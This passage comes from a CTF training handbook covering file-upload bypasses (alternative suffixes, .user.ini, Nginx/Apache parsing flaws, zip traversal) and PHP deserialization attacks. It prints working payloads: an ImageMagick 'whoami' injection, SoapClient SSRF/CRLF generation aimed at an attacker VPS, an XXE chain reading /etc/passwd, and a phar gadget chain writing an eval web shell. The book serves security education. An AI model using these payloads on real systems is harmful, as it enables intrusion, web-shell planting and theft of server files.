upload them if they are not, so as to realize the filtering of uploaded files.
The test code is shown in Fig. 2.105. In the file name renaming scenario, only the file
suffix is controllable. Usually use some more partial file suffixes that can be parsed to
bypass the blacklist restriction.
The common executable suffixes of PHP are “php3”, “php5”, “phtml”, “pht”, etc.
The common executable suffixes of ASP are “cdx”, “cer”, “asa”, etc. And JSP can
try “jspx”. See Fig. 2.106, when the uploaded PHP files is restricted, you can bypass
it by uploading “PHTML” files, as shown in Figs. 2.107 and 2.108.
158 2 Advanced Web
The suffixes that can be resolved are different in different environments, so you
need to try more suffixes. If the environment is a Windows system, you can try
“php”, “php::$DATA”, “php.”, etc; Or upload “a.php:.jpg” first, generate an empty
“a.php” file, then upload “a.ph<” to write the contents of the file. In the Windows
environment, the file name are case-insensitive, and “in_array” is case sensitive, so
you can try to modify the case of the suffix name to bypass the blacklist. If the Web
server is configured with SSI, you can also try to upload SHTML, SHT, etc.
In the scenario where the uploaded file is not renamed, in addition to finding some
unpopular file suffixes that can be parsed, you can also bypass it by uploading the “.
htaccess” or “.user.ini” configuration file.
2.4 File Upload Vulnerability 159
The specific usage is the same as above, and it is not described here redundantly.
2. Upload “.user.ini” to bypass the blacklist
Since PHP 5.3.0, it supports .htaccess style INI files based on each directory. Such
files are only processed by “CGI/FastCGI SAPI”, and the default file name is “.user.
ini”. Of course, you can also use the “user_ini.filename” directive in the main
configuration file to modify the file name.
When the PHP file is executed, in addition to loading the “php.ini”, the INI file
will be scanned in each directory, starting from the directory where the PHP file is
executed, and going up to the Web root directory.
Similarly, in order to ensure security, all the configurations in “php.ini” cannot be
overwritten in the “.user.ini” file. Each configuration in PHP has its own mode,
which specifies where the configuration can be modified, as shown in Fig. 2.111.
According to the official manual, there are 4 modes of configuration, and
“PHP_INI_PREDIR” mode can only be configured in “php.ini”, “.htaccess”,
“httpd.conf”, but in reality, the configuration of “PHP_INI_PREDIR” mode can
also be configured in the “.user.ini”. There is also a “php.ini only” mode,
“disable_functions” is the “php.ini only” mode, the detailed configuration mode
can be viewed from the official manual: https://www.php.net/manual/zh/ini.list.php.
There are two special configurations in “PHP_INI_PERDIR” mode:
“auto_append_file” and “auto_prepend_file”. The role of “auto_prepend_file” is to
specify a file to be parsed before the main file is parsed, and the role of
“auto_append_file” is to specify a file to be parsed after the main file is parsed, as
shown in Fig. 2.112.
First, upload the configuration file, and configure the “yu.txt” file to be parsed
before the main file is parsed. As shown in Fig. 2.114, upload the “yu.txt” file and
access any PHP file in the current directory. As shown in Fig. 2.115, before parsing
the “upload.php” file, to parse the “yu.txt” file, and successfully trigger “phpinfo( )”.
Whitelist verification file suffixes are safer and more common than blacklist verifi-
cation. To bypass the whitelist usually requires the help of various parsing vulner-
abilities in the Web server or component vulnerabilities such as “ImageMagick”, etc.
location ~ \.php$ {
# try_files $uri =404;
fastcgi_pass
unix:/Applications/MAMP/Library/logs/fastcgi/
nginxFastCGI_php5.3.14.sock;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
include /Applications/MAMP/conf/nginx/fastcgi_params;
}
First, upload the “x.jpg” file, then visit “x.jpg/1.php”. The “location” value is at
the end of .php and will be handed over to FPM for processing. At this time, the
value of “$fastcgi_script_name” is “x.jpg/1.php”; When the “cgi.fix_pathinfo” con-
figuration is set in PHP, the “x.jpg/1.php” file does not exist, start the fallback to
remove the rightmost “/” and subsequent content. Then continue to check whether
“x.jpg” exists; if “x.jpg” exists at this time, the file will be processed with PHP. If
FPM does not set security.limit_extensions to restrict the execution of the file suffix
to be php, a parsing vulnerability will occur, as shown in Fig. 2.116.
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
The original intention of the above Apache configuration is to only parse files
ending with “.php”, but files ending with “.php\n” can also be parsed due to the
CVE-2017-15715 vulnerability, then you can upload “x.php\n” files to bypass the
blacklist. However, in the process of uploading “PHP $_FILES”, “$_FILES
['name']” will clear the “\n” character and it cannot be exploited. The following
uses “file_put_contents” to implement the upload code. The test code is shown in
Fig. 2.119.
In the above code, uploading the PHP file fails, as shown in Fig. 2.120.
Uploading the “x.php\n” file success, as shown in Fig. 2.121.
In the test, some features that allow arbitrary uploading are often encountered. It is
discovered that the uploaded script file cannot be parsed or accessed. Usually, the
script file in the upload directory is configured to prohibit access in the web server.
When the files in the upload directory cannot be accessed, the best way to bypass is
definitely to upload the file to the root directory, such as trying to upload similar files
such as “../x.php”, etc. However, this method cannot be implemented for
166 2 Advanced Web
“$_FILES”, because PHP calls the “_basename()” method to process the file name
when registering “$_FILES['name']”, as shown in Figs. 2.122 and 2.123.
The “_basename” method will get the last character after “/” or “\”, so uploading
the “../x.php” file cannot achieve directory traversal. Because after the “_basename”
function, the value of “_FILES['name']” is “x.php”.
That is, any file upload is allowed. The reason why it has the confidence to allow
arbitrary file upload is because it has its own “.htaccess” file in its upload directory,
and the script file that is configured to upload cannot be executed.
2.4 File Upload Vulnerability 167
SetHandler default-handler
ForceType application/octet-stream
Header set Content-Disposition attachment
# The following unsets the forced type and Content-Disposition headers
# for known image files:
<FilesMatch "(?i)\.(gif|jpe?g|png)$">
ForceType none
Header unset Content-Disposition
</FilesMatch>
# The following directive prevents browsers from MIME-sniffing the
content-type.
# This is an important complement to the ForceType directive above:
Header set X-Content-Type-Options nosniff
# Uncomment the following lines to prevent unauthorized download of
files:
#AuthName "Authorization required"
#AuthType Basic
#require valid-user
With the development of cloud object storage, more and more websites choose to
upload files to OSS. Of course, script files uploaded to OSS will not be parsed by the
server, so many developers will allow arbitrary file uploads when uploading files to
OSS. Although the server does not parse script files, you can upload HTML, SVG
and other files for the browser to parse and implement XSS. However, XSS is not
useful under the “aliyuncs.com” domain.
But now OSS will provide the feature of binding domain names, as shown in
Fig. 2.124. Many websites will bind OSS to their second-level domain names. At
this time, the XSS caused by uploading HTML files can be used, and will not be
described in detail here.
In PHP file inclusion, the program generally restricts the included file suffix to “.
php” or other specific suffixes, as shown in Fig. 2.125. Today, the “00” truncation is
becoming more and more rare. If the script file in the upload directory cannot be
accessed or parsed. As shown in Fig. 2.126, then a PHP file can be uploaded to
match the file inclusion to achieve parsing, as shown in Fig. 2.127.
There is also SSTI in a similar scenario. Users often choose a template that can be
loaded, but the template file suffix is usually hard-coded, so at this time, you can
upload the template file through arbitrary file upload, and then render the uploaded
template to achieve SSTI. E.g: http://www.yulegeyu.com/2019/02/15/Some-
vulnerabilities-in-JEECMSV9/
Usually the upload directory is configured in the web server to prohibit file execu-
tion, and it may be bypassed in the case of improper configuration.
1. Bypass caused by “pathinfo”
The configuration of Nginx is as follows:
location ~ /upload/.*\.(php|php5|phtml|pht)$ {
deny all;
}
location ~ \.php(/|$) {
#try_files $uri =404;
fastcgi_pass
unix:/Applications/MAMP/Library/logs/fastcgi/
nginxFastCGI_php5.4.45.sock;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
include /Applications/MAMP/conf/nginx/fastcgi_params;
}
location /book/upload/ {
deny all;
}
location ~ \.php(/|$) {
#try_files $uri =404;
fastcgi_pass
unix:/Applications/MAMP/Library/logs/fastcgi/
nginxFastCGI_php5.4.45.sock;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
include /Applications/MAMP/conf/nginx/fastcgi_params;
}
“location” block matching priority is to first match the normal “location”, and
then match the regular “location”. If there are multiple common “location” that
match the URI, the “location” will be selected according to the longest prefix
principle. After the normal “location” matching is completed, if it is not a whole
matching, it will not end, but will continue to be handed over to the regular
“location” detection. If the regular match is successful, the result of the normal
“location” matching will be overwritten. Therefore, in the above configuration,
“deny all” is covered by regular “location”, and the PHP files in the upload directory
can still be executed normally, as shown in Fig. 2.129.
location ^~ /book/upload/ {
deny all;
}
The correct configuration method should add “^~” before the normal matching,
which means that as long as the normal matching is successful, regular matching will
not be performed even if it is not a whole matching. Therefore, the parsing of PHP
files can be successfully prohibited under this configuration, as shown in Fig. 2.130.
location ~ \.php$ {
#try_files $uri =404;
fastcgi_pass
unix:/Applications/MAMP/Library/logs/fastcgi/
nginxFastCGI_php5.4.45.sock;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
include /Applications/MAMP/conf/nginx/fastcgi_params;
}
location ~ /book/upload/ {
deny all;
}
The above configuration is different from normal matching, as long as the regular
“location” matches successfully, the following “location” block will not be consid-
ered. The regular “location” matching order is related to the physical order in the
configuration file, and the physical order in the front will be matched first. Therefore,
in the above configuration, both matches are regular matches, then the PHP files in
the upload directory will still be handed over to FPM for analysis according to the
matching order, as shown in Fig. 2.131.
3. Bypass with Apache parsing vulnerability
<Directory "/Applications/MAMP/htdocs/book/upload/">
<FilesMatch ".(php|php5|phtml)$">
Deny from all
</FilesMatch>
</Directory>
Apache usually uses the above configuration to prohibit the script files in the
upload directory from being accessed. At this time, you can use Apache's parsing
vulnerability to upload the “yu.php.aaa” file, so that it does not comply with the
“deny all” matching rule and bypassed, as shown in Fig. 2.132.
Some developers believe that if the uploaded file is a normal picture, it is impossible
to execute the code, so any suffix file is allowed to upload, but in PHP, the method of
detecting whether the file is a normal picture can often be bypassed.
172 2 Advanced Web
1. “getimagesize” bypass
The “getimagesize” function is used to calculate the size of any image file and return
the size and file type of the image. If the file is not a valid image file, it will return
“FALSE” and throw an “E_WARNING” error, as shown in Fig. 2.133.
The attempt to upload the PHP file directly fails, as shown in Fig. 2.134.
The bypass of “getimagesize” is relatively easy, as long as the PHP code is added
to the image content, it can be successfully bypassed, as shown in Fig. 2.135. At this
time, the uploaded PHP file can be parsed normally, as shown in Fig. 2.136.
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|whoami ")'
pop graphic-context
#define height 100
#define width 1100
174 2 Advanced Web
2. Imagecreatefromjpeg bypass
The “imagecreatefromjpeg” method will render the image to generate a new image.
After the script code injected into the image is rendered, the script code will
disappear. But there is also a mature bypass script for this method: https://github.
com/BlackFan/jpg_payload. The test code is shown in Fig. 2.137.
First, upload the normal image file, then download the rendered image, run
“jpg_payload.php” to process the downloaded image, inject the code into the
image file, and upload the newly generated image. You can see the script code
injected after “imagecreatefromjpeg” still exists, see Fig. 2.138.
PHP will generate temporary files during file upload, and deletes temporary files
after uploaded. When there is a local file inclusion vulnerability but the upload
function is not found and there is no file to include, you can try to include the
temporary file generated by the upload to cooperate with it.
2.4 File Upload Vulnerability 175
as shown in Fig. 2.140. In PHP 7, if the user can control the parameters of the file
function, a Segmentation Fault can be thrown. As for the reason for the formation of
“Segfault”, you can directly refer to the analysis of Nu1L team member wupco:
https://hackmd.io/s/Hk-2nUb3Q.
2.4 File Upload Vulnerability 177
In addition to uploading using “FILES”, another upload format will also be encoun-
tered in the test. This method is uses “file_put_contents” to save files after obtaining
the file content, as shown in Fig. 2.142.
1. “file_put_contents” upload file blacklist bypass
In the scenario where the file name is controllable, even if the developer does not
filter the “/../” character in the “FILES” upload, PHP will use the “_basename”
function to process when registering the “FILES['name']” variable, so that the users
cannot input characters such as “/../”, etc. In the “file_put_contents” function, the file
path parameter may be an absolute path, so PHP will definitely not use the
“basename” function to process this parameter. When the file name is controllable,
the “file_put_contents” upload can achieve directory traversal.
When the code shown in Fig. 2.143 appears in the Nginx+PHP server and there is
no executable file in the “upload” directory, you need to find other ways to bypass
the blacklist. When the first args of “file_put_contents” is “yu.php/.”, the “yu.php”
file can be written normally, and the suffix obtained by the code is an empty string,
so the blacklist can be bypassed, as shown in Fig. 2.144.
When using “file_put_contents”, call the “tsrm_realpath_r” method to standard-
ize the path in the “virtual_file_ex” method of “zend_virtual_cwd.c”. Part of the call
stack of the “file_put_contents” method is as follows.
virtual_file_ex zend_virtual_cwd.c:1390
expand_filepath_with_mode fopen_wrappers.c:820
expand_filepath_ex fopen_wrappers.c:758
expand_filepath fopen_wrappers.c:750
_php_stream_fopen plain_wrapper.c:994
php_plain_files_stream_opener plain_wrapper.c:1080
_php_stream_open_wrapper_ex streams.c:2055
zif_file_put_contents file.c:610
while (1) {
if (len <= start) {
if (link_is_dir) {
*link_is_dir = 1;
2.4 File Upload Vulnerability 179
}
return start;
}
i = len;
while (i > start && !IS_SLASH(path[i-1])) {
i--;
}
In this method, if the path ends with “/.”, “len” will be defined as the index of the
“/” character, and then execute:
path[len] = 0;
Truncate the “/.” character and process it become a normal path. However, this
method can only create a new file, and an error will thrown when overwriting an
existing file, as shown in Fig. 2.145.
Similarly, the following code exists in the “tsrm_realpath_r” method:
“php_sys_lstat” is the macro definition of the “lstat” method. The “lstat” method
is used to obtain file information. If the execution fails, it returns -1, and if the
execution succeeds, it returns 0. So when the file does not exist, “lstat” returns -1,
enters the “if” statement block, the “save” variable is reset to 0. when the file exists,
“lstat” returns 0, does not enter the “if” statement block, the “save” variable is still 1.
When the “save” variable is 1, enter the following statement block:
if (save) {
directory = S_ISDIR(st.st_mode);
if (link_is_dir) {
*link_is_dir = directory;
}
if (is_dir && !directory) { /* not a directory */
free_alloca(tmp, use_heap);
return -1;
}
}
After judging that the end of the path is “/.”, “is_dir” is assigned the value
1. However, after truncating the “/.” character, the path information obtained by
“lstat” is no longer a directory but a file. That is, the “directory” is 0. If “is_dir” and
“directory” are not the same, -1 will be returned.
When the return value is -1, the error number is defined, and finally the file
writing fails.
2. “DIE” bypass
Many websites write the Log or Cache directly into the PHP file. In order to prevent
the log or cache file from executing code, they will add “<?php exit();?>” at the
beginning of the file. In the code in Fig. 2.146, the user can fully control the filename,
including the protocol.
In the official manual (https://www.php.net/manual/zh/filters.string.php), you can
find that there are many filters, so here you can use some string filters to process “exit
( )”, so that the code written later can be executed and can be processed using
“base64_decode”.
2.4 File Upload Vulnerability 181
ch = base64_reverse_table[ch];
if (!strict) { /* skip unknown characters and whitespace */
if (ch < 0) {
continue;
}
}
...
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2,
-2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2
};
In order to realize batch upload, many systems support uploading ZIP archives, then
decompress ZIP files on the backend. If the decompressed files are not handled
properly, it will cause security problems. In the past, PHPCMS had security prob-
lems caused by not handling the uploaded ZIP files.
1. The unzipped file was not processed
The code in Fig. 2.148 only restricts the file suffix to be zip when uploading, but does
not do any processing on the decompressed file. So, compress the PHP file into a ZIP
file, and then upload the ZIP file, the backend decompresses it to achieve arbitrary
File upload, see Fig. 2.149.
2. Unrecursive detection of uploaded directories leads to bypass
In order to solve the security problems caused by decompressing files, many pro-
grams will detect whether there are script files in the upload directory after the ZIP is
decompressed, and delete them if they exist.
For example, the code in Fig. 2.150, after the decompression is completed, all
files and directories in the upload directory will be obtained through “readdir”. If
files with suffixes other than “jpg, gif, or png” are found, they will be deleted. But the
above code only detects the upload directory, and does not recursively detect all the
directories under the upload directory. So, if a directory is extracted, the files in the
2.4 File Upload Vulnerability 183
directory will not be detected. Although the suffix of the “hello” directory is not in
the whitelist, “unlink” a directory will not succeed and only throw a warning. So, the
directory and the files in the directory are retained, as shown in Fig. 2.151.
Of course, you can also create a new directory “x.jpg” in the compressed package,
which can skip the “unlink” directly, and even the warning will not be thrown, as
shown in Fig. 2.152.
3. Conditional competition leads to bypass
In the code shown in Fig. 2.153, all directories under the upload directory are
recursively detected, so the previous bypass method is no longer valid.
184 2 Advanced Web
In the above scenario, if the decompressed file name can contain the “../”
character when decompressing the ZIP file, then the directory can be traversed to
jump out of the upload directory. The decompressed script file will not be deleted by
“check_dir”. PHP has two common methods for decompressing ZIP files, the one is
the extension “ZipArchive” that comes with PHP, and the other one is the third-party
extension “PclZip”.
First, test “ZipArchive”, construct a compressed package containing “../” char-
acters, generate a normal compressed package, and then use “010 editor” to modify
the compressed package file, as shown in Fig. 2.160.
After uploading the ZIP file, the decompressed file is still in the random directory,
and directory traversal is not achieved, as shown in Fig. 2.161.
In the “/ext/zip/php_zip.c” file, the “ZIPARCHIVE_METHOD(extractTo)”
method calls the “php_zip_ extract_file” method to extract the file.
static ZIPARCHIVE_METHOD(extractTo) {
struct zip *intern;
...
else { /* Extract all files */
if (filecount == -1) {
php_error_docref(NULL, E_WARNING, "Illegal archive");
188 2 Advanced Web
RETURN_FALSE;
}
relative)
to a path relative to cwd (../../mydir/foo.txt > mydir/foo.txt)
*/
virtual_file_ex(&new_state, file, NULL, CWD_EXPAND);
path_cleaned = php_zip_make_relative_path(new_state.cwd,
new_state.cwd_length);
if(!path_cleaned) {
return 0;
}
}
the traversal file will fail to use under Linux. The main reason is that when a file is
written to a temporary directory, the “privDirCheck” method will be used to judge
whether the directory exists, and if it does not exist, the directory will be recursively
created.
Suppose the generated temporary directory is “dd409260aea46a90e61b9a69fb97
26ef”, and the first file in the compressed package is “/../../a.php”. Start to enter the
“privDirCheck” method for directory detection and creation process. Because the
“dd409260aea46a90e61b9a69fb-9726ef” directory does not exist. the directory that
does not exist under Linux cannot be traversed, so the method will return false.
is_dir('./upload/dd409260aea46a90e61b9a69fb9726ef/../..')
The first two chapters focus on traditional Web vulnerabilities. This chapter mainly
starts from the language features of PHP and Python, and introduces the common
vulnerabilities of these two mainstream Web languages in CTF competition, namely
deserialization vulnerabilities and Python security issues. Meanwhile, it introduces
Web vulnerabilities and Web logic vulnerabilities related to cryptography, so that
readers can have a more comprehensive understanding of the vulnerabilities in the
direction of Web.
In various languages, the process of converting the state information of an object into
something that can be stored or transferred is serialization, and the inverse process of
serialization is deserialization, mainly to facilitate the transfer of the object, the
serialized string is transferred by means of files, networks, etc., and eventually the
previous object can be accessed through deserialization.
Serialization functions exist in many languages, such as Python, Java, PHP,
.NET, and so on. PHP deserialization is often seen in CTF due to the rich magic
that PHP provides, along with the use of auto-loading classes, to facilitate the
construction of EXP. As the most popular Web knowledge point at present, this
section will introduce PHP serialization vulnerability step by step, through some
cases, let readers have a deeper understanding of PHP anti-sequence vulnerability.
This section introduces the fundamentals of PHP deserialization and the common
techniques to utilize it. Of course, these are not only common for CTF competitions,
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 195
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_3
196 3 Advanced Web Challenges
but also essential for code audits. The following is the basic type expression after
PHP serialization.
• Boolean value (bool): b:value ¼> b:0.
• Integer type (int): i:value ¼> i:1.
• String type (str): s:length: “value”; ¼> s:4:“aaaa”.
• Array type (array): a:<length>:{key, value pairs}; ¼> a:1:{i:1;s:1:“a”}.
• Object: O:<class_name_length>:.
• NULL type: N.
The data format of the final serialized data is as follows:
<class_name>:<number_of_properties>:{<properties>};
class person{
public $name;
public $age=19;
public $sex;
}
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
Where O indicates that this is an object, 6 indicates the length of the object name,
person is the serialized object name, and 3 indicates that there are three properties in
the object. The first attribute s is a string, and 4 is the length of the attribute name.
The attribute name is name, and its value is N (null). The second attribute is age,
whose value is an integer of type 19; The third property, sex, is also null.
So the question is, how do you attack with deserialization? There are magic
methods in PHP, which PHP calls automatically, but there are call conditions, for
example, __destruct is called when the object is destroyed. Normally, PHP does
garbage collection at the end of the block execution, which destroys the object, and
then triggers the __destruct magic method automatically. If the magic method still
has some malicious code, it can complete the attack.
Common magic methods are triggered in the following ways:
• When the object is created: __construct.
• When the object is destroyed: __destruct.
• When the object is used as a string: __toString.
• Called before serializing the object (its return needs to be an array): __sleep.
• Call before resuming the object by deserialization: __wakeup.
3.1 Deserialization Vulnerabilities 197
• Called automatically when calling a method that does not exist in the object:
__call.
• Read data from an inaccessible attribute: __get.
The following is an introduction to some common exploitation of deserialization
mining.
<?php
class test{
function __destruct() {
echo "destruct... <br>";
eval($_GET['cmd']);
}
}
unserialize($_GET['u']);
?>
This code exists in the test class, where the __destruct magic function also
contains code for eval($_GET[‘cmd’]), which then receives the serialized string
with the argument u. So, you can use __destruct to automatically call this method
when the object is destroyed, and then pass in the PHP code with the CMD argument
to achieve arbitrary code execution.
In the utilization program, first define the test class, and then instantiate it, and
then serialize the output string, will use the code saved as a PHP file, browser access
can display the serialized string, that is, O:4:“test”:0:{}. The code is as follows:
<?php
class test{}
$test = new test;
echo serialize($test);
?>
O:5:"lemon":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";
s:10:"phpinfo();";}}}
3.1 Deserialization Vulnerabilities 199
The actual digging process often encounters no proper utilization chain, which
requires the use of PHP’s own native classes.
1.__call method
The __call magic method is triggered by calling a non-existent class method. The
method has two arguments, the first one is assigned automatically with the name of
the non-existent method and the second one receives the arguments from the
non-existent method. For example, the PHP code is as follows:
200 3 Advanced Web Challenges
<?php
$rce = unserialize($_REQUEST['u']);
echo $rce->notexist();
?>
Deserializing the class to an object via unserialize and calling the notexist method
of the class will trigger the __call magic method.
The existence of the built-in class SoapClient::__Call in PHP, makes it when a a
magic method to perform __call is existing, an SSRF attack can be performed, see
Exploit for the exploit code.
Exploit Generation (for PHP 5/7).
<?php
serialize(new SoapClient(null, array('uri' => 'http://vps/',
'location' => 'http://vps/aaa')));
?>
Set the URI to your VPS server address, and then set the location to http://vps/aaa.
The above generated string is deserialized with the unserialize() function, followed
by a call to a method that does not exist, resulting in an SSRF attack, as shown in
Fig. 3.5.
Figure 3.5 shows one Soap request, but only one HTTP request. Of course, CRLF
can be used for further exploit. Inject newline characters with ‘uri’¼>‘http://vps/i am
here/’. CRLF flaw can be triggered with the following code:
<?php
$poc = "i am evil string...";. ;
$target = "http://www.nu1l.com:5555/";
$b = new SoapClient(null,array('location' => $target, 'uri' =>
'hello^^'. $poc.'^^^hello'));
$aaa = serialize($b);
$aaa = str_replace('^^', "\n\r", $aaa);
echo urlencode($aaa);
?>
3.1 Deserialization Vulnerabilities 201
As shown in Fig. 3.6, the CRLF character has placed the “i am evil string” string
on a new line.
This translates into the following two types of attacks.
(1) Constructing post packets to attack intranet HTTP services.
The problem here is that Soap has Content-Type: text/xml in the default header, but
you can inject data through User-Agent to push down the Content-Type, and
eventually the data after data¼abc are ignored by the container.
The results of constructing a POST package are shown in Fig. 3.7.
(2) Constructing arbitrary HTTP headers to attack other intranet services (Redis)
For example, the inject Redis command.
<?php
echo unserialize($_REQUEST['u']);
?>
<?php
echo urlencode(serialize(new Exception("<script>alert(/hello
wolrd/)</script>")));
?>
The Exception class was used because it doesn’t filter the error message, resulting
in XSS in the webpage after the final deserialization. When constructing the Exploit
generation, XSS code could be taken as the parameter of the Exception class.
The Exception is deserialized by echo, an error is reported, and the XSS code is
output to the web page. The final trigger result is shown in Fig. 3.9.
3._ _construct
Normally, there is no way to trigger the __construct magic method in deserialization,
but it is possible to instantiate any class after the developer has tweaked it. For
example, you can initialize any class by adding a call_user_func_array call to your
code and disallowing calls to methods in other classes, to call the construct method
(case may refer to https://5haked.blogspot.jp/2016/10/how-i-hacked-pornhub-for-
3.1 Deserialization Vulnerabilities 203
Note that parsing of external entities is not allowed by default after Libxml 2.9,
but can be enabled with the parameter LIBXML_ NOENT set. See Fig. 3.10 for
xxe_evil.
204 3 Advanced Web Challenges
The attack is divided into two XML files. xxe_evil loads the remote
xxe_read_passwd file, xxe_read_passwd loads the /etc/passwd file through the
PHP pseudo-protocol, and then Base64 encodes the file content. Finally, the content
of target file is brought out by stitching it into the HTTP request.
Which means that the /etc/passwd information can also be obtained through
deserialization vulnerability, as shown in Fig. 3.11.
After editing the Phar package with the WinHEX editor, it can be seen that the
deserialized string content exists in the file, as shown in Fig. 3.14.
So, how do you trigger Phar deserialization? Phar is a pseudo protocol in PHP,
and the most commonly used pseudo protocol is some file manipulation functions,
such as fopen(), copy(), file_exists(), filesize(), etc. Of course, digging deeper to
looking for the *_php_stream_open_wrapper_ex function in PHP’s core code,
which is the wrapped for more function in PHP to allow more functions to support
the wrapper protocol, such as getimagesize, get_meta_tags, imagecreatefromgif, etc.
The deserialization can be triggered by passing phar:///var/www/html/1.phar.
For example, the phar deserialization is triggered by file_exists(“phar://. /demo.
phar”), the result is shown in Fig. 3.15.
206 3 Advanced Web Challenges
Some of the techniques used in deserialization are more frequently used, but it is
currently difficult to come up with a mere test, more in the form of a combination that
joins the construct utilization chain.
1._ _wakeup Failure: CVE-2016-7124
This issue is mainly due to the design flaws of __wakeup, which bypasses possible
limitations and triggers possible vulnerabilities affecting versions of PHP 5 to 5.6.25
and PHP 7 to 7.0.10.
Reason: When the number of attributes is incorrect, process_nested_data will
return 0, which will cause the call_user_function_ex function not to be executed, so
__wakeup( ) will not be called in PHP.
See Fig. 3.16 for the specific code.
You can use the code in Fig. 3.17 for local testing by entering.
O:4:"demo":1:{s:5:"demoa";a:0:{}}
O:4:"demo":2:{s:5:"demoa";a:0:{}}
3.1 Deserialization Vulnerabilities 207
As you can see, “i am wakeup” disappears, proving that wake-up did not trigger.
The most classic real-world example of this trick is the SugarCRM V6.5.23
deserialization vulnerability, in which the deserialization is limited with wakeup.
As you can see from the __wakeup code in Fig. 3.20, it clears all attributes and
throws an error, which also limits the execution of __destruct. However, after
deactivating __wakeup by changing the number of attributes, we can use destruct
to write to the file. See Fig. 3.20 for the code for SugarCRM.
208 3 Advanced Web Challenges
O:4:"demo":1:{s:5:"demoa";a:0:{}}
longer, which will definitely lead to a failure during the deserialization. Suppose we
take advantage of the ability of the filter function to change one character into two to
escape the scope of the string, thus injecting the property we want to modify, and we
end up being able to deserialize the property.
Let’s say the payload is “”;i:1;s:8:“scanfsec”;}”, length 22, and needs to be filled
with 22 x’s to escape the length of our payload, see Fig. 3.24.
4. Session deserialization
PHP has several session processors by default: php, php_binary, php_serialize (see
Fig. 3.25 for processing), and wddx (but it requires to install a extension, which is
rare and won’t be explained here). Note that these processors firstly serialized the
data, then store the data to a proper location. When the values are needed, it is
deserialized firstly.
php Processor (PHP default processing).
l3m0n|s:1:"a";
php_serialize Processor.
a:1:{s:5:"l3m0n";s:1:"a";}
When there is a discrepancy between read and save, the processor raises an
exception. As you can see, the stdclass string injected by php_serialize becomes a
stdclass object under php’s processing, as compared to Fig. 3.26. “, and then read it
under php processing, it will have “a:2:{s:20:” as the key, followed by
“O:8:“stdClass”:0:{}” as value Deserialization is performed.
3.1 Deserialization Vulnerabilities 211
The reallife case is the vulnerability found in Joomla 1.5 - 3.4. As you can see, in
the PHP core PHP processor when serialization is to “|” (vertical) as a boundary, as
shown in Fig. 3.27.
However, Joomla has implemented its own session module, which saves as “key
name + vertical line + value deserialized by serialize() function”, which causes
problems because it doesn't handle the vertical line boundary properly.
5. PHP References
The challenge exists just4fun class, which has the enter and secret attributes. Since
$secret is unknown, how to break the $o->secret ¼¼¼ $o->enter judegement?
The challenge code is shown in Fig. 3.28. As references is exist in PHP, which
represented by “&”. “&$a” represents for references the value of “$a”, that is, the
212 3 Advanced Web Challenges
value of “$a” in the memory is the address of the pointing variable, and in serialized
strings is R for the reference type. The solution is shown in Fig. 3.29.
At initialization, use “&” to point the enter to the address of the secret and
generate the exploit string.
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
You can see that the exploit is “s:6:”secret“;R:2”, which means the values of the
two attributes are the same value by reference. The result of the solution is shown in
Fig. 3.30.
6. Exception Bypass
Sometimes you may encounter a problem with the thrown problem, because the code
that below cannot be executed because of the exception, see Fig. 3.31.
3.1 Deserialization Vulnerabilities 213
In class B, _ _destruct outputs the global flag variable and the deserialization
statement is before the throw. Normally, it is reported that the _ _destruct will not
execute because an exception is thrown using the throw. But by changing the
attribute to “O:1:”B“:1:{1}”, the error is parsed, and since the class name is correct,
the _ _destruct of the class name is called, thus executing the _ _destruct before the
throw.
namespace GuzzleHttp\Cookie;
class FileCookieJar extends CookieJar
{
...
public function __destruct()
{
$this->save($this->filename);
}
...
}
}
}
It can be found that there is an arbitrary file write flaw in the second if-judgment,
whose name and content we can control; then look at the shouldPersist( ) function in
the first if-judgment.
<?php
require __DIR__ . '/vendor/autoload.php';
3.2 Security Issues in Python 215
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$obj = new FileCookieJar('/var/www/html/shell.php');
$payload = "<?php @eval($_POST['poc']); ? >";
$obj->setCookie(new SetCookie(['Name' => 'foo',
'Value' => 'bar',
'Domain' => $payload,
'Expires' => time()]));
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"." <?php __HALT_COMPILER(); ? >");
$phar->setMetadata($obj);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
rename('phar.phar','1.gif');
Then upload the generated 1.gif to the title server and trigger deserialization using
the Phar protocol.
Because Python is very easy and fast to implement various functions, it is becoming
more and more popular. At the same time, because Python's features, such as
deserialization and SSTI, are very interesting, the CTF competition has begun to
examine the use of Python's features. This section will introduce the common test
points in the Python challenges of CTF competition, and introduce the ways to
bypass related filters to trigger the vulnerability. Analysis with code or examples to
help readers quickly find and exploit bugs in Python code. Due to differences in
Python 2 and Python 3 parts of functionality, the implementation may differ
somewhat. In the following, unless otherwise noted, there is no difference between
Python 2 and Python 3 in the principle of the relevant vulnerability.
In CTF, there is a type of challenge that asks the user to submit a piece of code to the
server and the server to run it, and the competitors will also filter various high-risk
